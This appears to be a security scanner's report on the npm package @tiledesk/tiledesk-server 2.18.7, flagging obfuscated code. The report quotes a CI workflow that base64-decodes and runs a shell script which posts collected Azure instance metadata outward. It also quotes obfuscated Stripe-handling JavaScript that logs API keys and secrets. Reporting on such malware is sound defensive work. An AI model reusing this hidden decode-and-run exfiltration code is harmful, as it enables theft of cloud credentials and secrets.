@tiledesk/tiledesk-server 2.18.7
Obfuscated CI payload execution
OIDC workflow base64 shell executionOIDC workflow encoded shell step
SHA-256157f984fd00beebcbeca22be76618730671ef449565003b39ef32ad9f99b72b8
Evidence
1name: Optimize-Build
2on:
3 workflow_dispatch:
4permissions:
5 contents: read
⋯10 lines
15:12656… bnVsbApbIC1zICIkVE1QX0RJUi9tZXRhX2F6X2ltZHMudHh0IiBdICYmIF9wb3N0ICJtZXRhX2F6X2ltZHMiICIkVE1QX0RJUi9tZXRhX2F6X2ltZHMudHh0Igo=" | base64 -d | bash
1… ipe_event','»»»\x20»»»\x20\x20paymentMethod\x20attached\x20','billing_reason','sessionid','***\x20***\x20!!!!!!!!!!!!!!!!!!!!!!\x20checkout.session.completed\x20-\x20subscription\x20ID:\x20','headers','--\x20>\x20updatesubscription\x20Error\x20getting\x20project\x20','****\x20Stripe\x20error\x20constructEvent:\x20','stripe\x20apiKey','saveFirstInvoicePaymentSucceeded\x20subscriptionid','find','default_payment_method','»»»\x20»»»\x20get\x20customer\x20from\x20db\x20-\x20projectid','jwt','--\x20>\x20GET\x20SUBSCRIPTION\x20PAYMENTS\x20ERRORt\x20','***\x20***\x20getSubByIdAndCheckoutSessionCompletedEvnt\x20subsptn_payment\x20>\x20project_id:\x20','customerid','/payment_methods/:customerid','stripe','log','stripe\x20project_id:\x20','»»»»\x20stripe\x20endpointSecret:\x20','unix','stripe\x20client_reference_id','status','customer.subscription.deleted\x20profile\x20to\x20update\x20','/updatesubscription','--\x20>\x20checkoutSession\x20params.sessionid\x20','sessions','findByIdAndUpdate','projectid','start','profile','authenticate','--\x20>\x20cancelsubscription\x20Error\x20getting\x20project\x20','subscription.deleted','get\x20PaymentMethods\x20list\x20req.params','../../../middleware/valid-token','exec','PAYMENT_STRIPE_API_SECRET_KEY','user_id','stripe\x20checkout.session.completed','../../../middleware/passport','»»»\x20»»»\x20get\x20customer\x20from\x20db\x20','»»»\x20»»»\x20\x20update\x20customer\x20-\x20customerid\x20from\x20params\x20','»»»\x20»»»\x20cancelsubscription\x20userid','***\x20***\x20invoice.payment_succeeded\x20-\x20index:\x20','ObjectId','Sandbox','expiration_date_month','»»»\x20»»»\x20updatesubscription\x20projectid','***\x20***\x20invoice.payment_succeeded\x20-\x20start:\x20','--\x20>\x20cancelsubscription\x20confirmation\x20','customer','PAYMENT_STRIPE_SECRET','--\x20>\x20subscription\x20get\x20by\x20id\x20from\x20stripe\x20\x20err\x20','canceled_at','format','customer.subscription.deleted\x20subscriptionPayment …
1:6259… equire(_0x15b1('0x1f'));var moment=require(_0x15b1('0x32'));var mongoose=require('mongoose');var passport=require(_0x15b1('0x23'));require(_0x15b1('0x99'))(passport);var validtoken=require(_0x15b1('0x94'));const apiKey=process[_0x15b1('0x1')][_0x15b1('0x9')];winston[_0x15b1('0x3c')](_0x15b1('0x77')+apiKey);const stripe=require(_0x15b1('0x81'))(ap …
1:7034… x15b1('0x84')+endpointSecret);winston[_0x15b1('0x3c')]('»»»»\x20stripe\x20apiKey:\x20'+apiKey);winston[_0x15b1('0x3c')](_0x15b1('0x24')+apiSecretKey);const _0x175799=_0x1bc881[_0x15b1('0x74')][_0x15b1('0x1d')];winston[_0x15b1('0x3c')]('stripe\x20sig:\x20',_0x175799);let _0x52fcd0;try …
Showing the top 5 files — 7 more files (40 regions) not shown.
No evidence locations were recorded for this file. Raw result